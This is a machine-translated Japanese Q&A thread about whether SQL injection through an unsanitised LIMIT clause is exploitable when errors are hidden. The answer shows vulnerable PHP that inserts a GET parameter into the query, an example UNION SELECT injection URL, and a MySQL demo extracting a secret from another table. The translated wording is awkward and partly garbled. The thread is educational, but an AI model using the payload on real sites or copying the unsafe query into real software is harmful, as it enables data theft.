LIMIT句のSQLインジェクションエラー出力

Question

のない我々は、このクエリを持っていると仮定してみましょう：

SELECT title FROM articles LIMIT 15 

とき、私たちは、LIMIT句に任意の文字列を渡すことができますが、サイトには、他の言葉ではなく、出力エラーを行いますサイトに空白のページが表示されるエラーが発生します。

私の質問は、攻撃者はまだどんな種類のSQL注入を進めることができますか？たぶんprocedure_analyseでの時間ベースの注入？

ありがとうございます。

Answer 1

このようなSQLインジェクションの脆弱性が存在する場合：

$UnsafeVariable = $_GET['param']; 
$sql = "SELECT title FROM articles LIMIT $UnsafeVariable"; 

は、次にSQLインジェクションの例は次のように::

http://mysite.example.com/page.php?param=0 UNION SELECT anything FROM anytable 

これは、SQLインジェクションを犯すためにUNIONを使用するのが一般的だ可能性があります。私はここにあなたがhttps://owasp.orgのようなサイトで読むことができない何かを明らかにするわけではありません。読書をしてみるべきです。

---

デモ：私はベンチマークを試してみた

mysql> create table MyTable (id int primary key); 

mysql> create table SecureTable (secret varchar(50)); 

mysql> insert into MyTable values (1), (2), (3); 

mysql> insert into SecureTable values ('Alohomora'); 

mysql> select id from MyTable limit 
     /* now the part that is SQL injected */ 
     1 union select secret from SecureTable; 
+-----------+ 
| id  | 
+-----------+ 
| 1   | 
| Alohomora | 
+-----------+